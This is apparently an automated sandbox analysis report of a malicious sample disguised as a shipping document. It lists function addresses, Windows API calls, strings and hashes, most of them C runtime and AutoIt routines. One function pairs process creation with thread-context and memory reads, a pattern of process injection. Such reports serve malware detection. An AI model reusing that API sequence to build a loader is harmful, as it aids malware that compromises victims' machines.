Function 00E073E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E3ED92
GetOpenFileNameW.COMDLG32(?), ref: 00E3EDDC

Part of subcall function 00E048AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E048A1,?,?,00E037C0,?), ref: 00E048CE

Part of subcall function 00E20911: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00E20930

Strings

X, xrefs: 00E3EDAA

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 8be484e8d685b2e5d9f42834b7de4819ec90995c0529d9f9e181eb9f3cd811b8
Instruction ID: f916d36c178a09a4d53f565aefb4daa3258c9940e8e9d16f50cece4bbfca631f
Opcode Fuzzy Hash: 8be484e8d685b2e5d9f42834b7de4819ec90995c0529d9f9e181eb9f3cd811b8
Instruction Fuzzy Hash: 2421C371A042589BDB01DF94C845BEE7BFC9F88304F045059E408B7382DBB45989CFA1

Function 00E6998C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00E699A1
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00E699B8

Strings

aut, xrefs: 00E699B2

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 09da2eb50d0e9105658d5c2137aaae6e571eeca903e3cb40cecc006d4abbc98a
Instruction ID: a059de75ae4bb9bcac9f0b60529d6bbb394e36f6dcf4ce6d92c7bcbc7bd15350
Opcode Fuzzy Hash: 09da2eb50d0e9105658d5c2137aaae6e571eeca903e3cb40cecc006d4abbc98a
Instruction Fuzzy Hash: 85D05E7954030DAFDB509BA0DC0EFDA773CE704701F4002B1FB98E11A1EAB095988B91

Function 00E7CBF1 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 578bdf7dcf946baa010057e16de1e7b98389f88ec66dae2e3eb211c778364b7f
Instruction ID: 1cde6136e0bee771abf69ddb59210d2f571b3810681a3f9824f30bbd2a19db18
Opcode Fuzzy Hash: 578bdf7dcf946baa010057e16de1e7b98389f88ec66dae2e3eb211c778364b7f
Instruction Fuzzy Hash: 77F13B716083019FC714DF28C884A6ABBE5FF88314F54992EF899AB352D731E945CF82

Function 00E043DB Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E04401
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00E044A6
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00E044C3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 09f2216cae8f5a91466572fc517af2a2ee4aa19d56e241c179f8272689d05aed
Instruction ID: df75d29b538b7fc3372aba1d91dc0d09a4c44d2db03adc685a2b244b05c74418
Opcode Fuzzy Hash: 09f2216cae8f5a91466572fc517af2a2ee4aa19d56e241c179f8272689d05aed
Instruction Fuzzy Hash: 6E3171F15047019FD724DF65D984A9BBBF4FB48308F00193EF6AAA2291D7716988CB92

Function 00E2588C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00E258A3

Part of subcall function 00E2A2EB: __NMSG_WRITE.LIBCMT ref: 00E2A312
Part of subcall function 00E2A2EB: __NMSG_WRITE.LIBCMT ref: 00E2A31C

__NMSG_WRITE.LIBCMT ref: 00E258AA

Part of subcall function 00E2A348: GetModuleFileNameW.KERNEL32(00000000,00EC33BA,00000104,?,00000001,00000000), ref: 00E2A3DA
Part of subcall function 00E2A348: ___crtMessageBoxW.LIBCMT ref: 00E2A488

Part of subcall function 00E2321F: ___crtCorExitProcess.LIBCMT ref: 00E23225
Part of subcall function 00E2321F: ExitProcess.KERNEL32 ref: 00E2322E

Part of subcall function 00E28CA8: __getptd_noexit.LIBCMT ref: 00E28CA8

RtlAllocateHeap.NTDLL(00FB0000,00000000,00000001,00000000,?,?,?,00E20F53,?), ref: 00E258CF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 103de90dc3f921d5d03c9f1098e747ed1948a3cd1990fb587d486e4ff09eee3c
Instruction ID: 7eca28c3b37be4e4c2c9e2f995d961585ed13f64300b0c33032d5b4353cc7b18
Opcode Fuzzy Hash: 103de90dc3f921d5d03c9f1098e747ed1948a3cd1990fb587d486e4ff09eee3c
Instruction Fuzzy Hash: E601DE33251B31DBD61C2B75FE02A6E7388DF82765B502039F511BA1A2DEB19E414B61

Function 00E6994B Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00E695F1,?,?,?,?,?,00000004), ref: 00E69964
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00E695F1,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00E6997A
CloseHandle.KERNEL32(00000000,?,00E695F1,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00E69981

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 54cb1ef6ab6179dc1c144db6f41a79baa7e0e09936e52afaa9ff8f2222440ec9
Instruction ID: 300f88295f6525565550119388659f644b11e817bb6ac987a9564e267e1b7b80
Opcode Fuzzy Hash: 54cb1ef6ab6179dc1c144db6f41a79baa7e0e09936e52afaa9ff8f2222440ec9
Instruction Fuzzy Hash: DDE08632281214BBDB212B95EC0DFDA7B28EB45775F104220FB58B90E187B119259798

Function 00E0AB23 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 00E3FF5A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: bf02ea3a719c590d4f5778c85cfd005357a143ec67c5d801a6608c1b7fb11431
Instruction ID: d02bad6e0c179458829ef8513edb0b817327f1590b4a03a44bbf3fa6cd4498ce
Opcode Fuzzy Hash: bf02ea3a719c590d4f5778c85cfd005357a143ec67c5d801a6608c1b7fb11431
Instruction Fuzzy Hash: 52222A70608305DFD724DF14C494B6AB7E1FF84304F19996DE995AB2A2D731EC85CB82

Function 00E6785C Relevance: 3.1, APIs: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E67984

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: fec14785773fb934df5ac88b5f6b4e5bab1ae592b6166c11810e6679bfdcf995
Instruction ID: 5bc38c57ff4c5a760a38d41c9bdf295c6b16f36b6c4823cf3b300a8c930afc24
Opcode Fuzzy Hash: fec14785773fb934df5ac88b5f6b4e5bab1ae592b6166c11810e6679bfdcf995
Instruction Fuzzy Hash: 2C4127716482159FD720EFA8E9819BEB7F8EF48398B256559F0C5B7283DB309C01CB60

Function 00E07BB1 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E07C0B
_memmove.LIBCMT ref: 00E07C76

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 7a447dba67378a8f7c08d596f502d4e7aa3d4b1fcc59dbac081316eacd8ee575
Instruction ID: e9a72466267afb14086bda58c1e2e50cc30675efbc3f7fd3830edaf0d467568c
Opcode Fuzzy Hash: 7a447dba67378a8f7c08d596f502d4e7aa3d4b1fcc59dbac081316eacd8ee575
Instruction Fuzzy Hash: BF31CFB1A04506AFD714CF28D9C1E69F3A9FF48324B159629E855CB2D1EB70F8A0CB90

Function 00E0492E Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00E04992

Part of subcall function 00E234EC: __lock.LIBCMT ref: 00E234F2
Part of subcall function 00E234EC: DecodePointer.KERNEL32(00000001,?,00E049A7,00E57F9C), ref: 00E234FE
Part of subcall function 00E234EC: EncodePointer.KERNEL32(?,?,00E049A7,00E57F9C), ref: 00E23509

Part of subcall function 00E04A5B: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00E04A73
Part of subcall function 00E04A5B: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00E04A88

Part of subcall function 00E03B4C: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00E03B7A
Part of subcall function 00E03B4C: IsDebuggerPresent.KERNEL32 ref: 00E03B8C
Part of subcall function 00E03B4C: GetFullPathNameW.KERNEL32(00007FFF,?,?,00EC52F8,00EC52E0,?,?), ref: 00E03BFD
Part of subcall function 00E03B4C: SetCurrentDirectoryW.KERNEL32(?), ref: 00E03C81

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00E049D2

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: cec11211e6e8be17a9365bf2738bebe43af098cf05feac78a1e114daceebf4a4
Instruction ID: f4afca4abebfef74f000de7590e62e468d1eacc4bcb9734d58b5ed9d0927ec0c
Opcode Fuzzy Hash: cec11211e6e8be17a9365bf2738bebe43af098cf05feac78a1e114daceebf4a4
Instruction Fuzzy Hash: 9B118EB25143119FC704DF2AE84590AFBF8FB94750F00452EF455B32B2DB719989CB91

Function 00E20F36 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E2588C: __FF_MSGBANNER.LIBCMT ref: 00E258A3
Part of subcall function 00E2588C: __NMSG_WRITE.LIBCMT ref: 00E258AA
Part of subcall function 00E2588C: RtlAllocateHeap.NTDLL(00FB0000,00000000,00000001,00000000,?,?,?,00E20F53,?), ref: 00E258CF

std::exception::exception.LIBCMT ref: 00E20F6C
__CxxThrowException@8.LIBCMT ref: 00E20F81

Part of subcall function 00E2871B: RaiseException.KERNEL32(?,?,?,00EB9E78,00000000,?,?,?,?,00E20F86,?,00EB9E78,?,00000001), ref: 00E28770

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: a14fcb1feb597de80cf3b4e11abe29f721f83360974a0f999b26f04b93f436b2
Instruction ID: 39fecad4628890b2015de66ce05dac0e2084e82bbc75bbc89aa435c77d546d03
Opcode Fuzzy Hash: a14fcb1feb597de80cf3b4e11abe29f721f83360974a0f999b26f04b93f436b2
Instruction Fuzzy Hash: FDF0A93554522D66DF24AB94FD069DE7BEC9F00314F142466FA08B61C3DF708A50C5D1

Function 00E25516 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E28CA8: __getptd_noexit.LIBCMT ref: 00E28CA8

__lock_file.LIBCMT ref: 00E2555B

Part of subcall function 00E26D8E: __lock.LIBCMT ref: 00E26DB1

__fclose_nolock.LIBCMT ref: 00E25566

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: d0c5f737e5c7e9e9c253e3f47a6c624dd0080feb694da75299eb6495994442c8
Instruction ID: ee9e05a23406b9f8b12b93597ca6335eb2553987cb57df683455b9588ce88418
Opcode Fuzzy Hash: d0c5f737e5c7e9e9c253e3f47a6c624dd0080feb694da75299eb6495994442c8
Instruction Fuzzy Hash: A5F0B472942B389ADB107F75BE067AE67E26F40335F14A209F424BB1C1CF7C49419B52

Function 00FE8A85 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00FE9243
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00FE92D9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00FE92FB

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
Instruction ID: 26bd714f109e9902b1121309df74f507af6792a00044f74ea64375e6c6ef8701
Opcode Fuzzy Hash: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
Instruction Fuzzy Hash: 0E12CE24E18658C6EB24DF64D8507DEB232FF68300F1090E9910DEB7A5E77A4E85CF5A

Function 00E0766F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E0774A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 4705d5163adaee709a678a53a4cf15551d0219e71d7391744f87a28c8e337c4f
Instruction ID: 8019fa482b9033a1f46e501e28da40e221528d209a56e4be4c45dca44a86eee3
Opcode Fuzzy Hash: 4705d5163adaee709a678a53a4cf15551d0219e71d7391744f87a28c8e337c4f
Instruction Fuzzy Hash: F431A575A08A12DFD7249F18D590961F7E0FF08360714D56AE9CA9B7E5E730E8C1CB84

Function 00E20D88 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00E20E37

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 3ab1902b6f293ea14d212e9e40365f10b5f5718f04f3c2526a663f7ddba6db4a
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: E7310674A01115DFCB18DF48E480969FBB2FF49304B699AA5E409EB392DB30EDC1CB80

Function 00E40005 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00E40010

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: f408494d2f4956e1c45ba181e0c6e5acfdb143d2f23c76f85deaa986dc2322d6
Instruction ID: f84d8a12da6cbd972edcbd4393a82c2dea01bd1710f813c588c5c6f747dafb77
Opcode Fuzzy Hash: f408494d2f4956e1c45ba181e0c6e5acfdb143d2f23c76f85deaa986dc2322d6
Instruction Fuzzy Hash: C8413A74508351CFDB14DF14C484B1ABBE0BF45318F0998ACE9996B7A2C732EC85CB52

Function 00E07CB3 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E07D13

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 91577e4960d67d03373def525d077e516399afc87ca8d05f70d71aac65f84e61
Instruction ID: d72e0f93fb0ea8783908eb00169727e64809488c56befd9910dc4f2f72f25df0
Opcode Fuzzy Hash: 91577e4960d67d03373def525d077e516399afc87ca8d05f70d71aac65f84e61
Instruction Fuzzy Hash: 3E210272A04609EBDB188F16E8857AE7FF4FB14350F21952EE486F51A2EB3094D0CB04

Function 00E04F3D Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E04D13: FreeLibrary.KERNEL32(00000000,?), ref: 00E04D4D

Part of subcall function 00E253CB: __wfsopen.LIBCMT ref: 00E253D6

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00EC52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00E04F6F

Part of subcall function 00E04CC8: FreeLibrary.KERNEL32(00000000), ref: 00E04D02

Part of subcall function 00E04DD0: _memmove.LIBCMT ref: 00E04E1A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: ee60846ba517f4c92f5117840e829d99c07b2fd758860423fa4843051e19b7b9
Instruction ID: 24c33530d46c507136635d204cc38036cb947b49b95fe97294ce34a3100e3c69
Opcode Fuzzy Hash: ee60846ba517f4c92f5117840e829d99c07b2fd758860423fa4843051e19b7b9
Instruction Fuzzy Hash: 0A11E7F2700206AADB10FF70DD56FAEB7E99F40710F10A829FA41B61C1DA719A55DB50

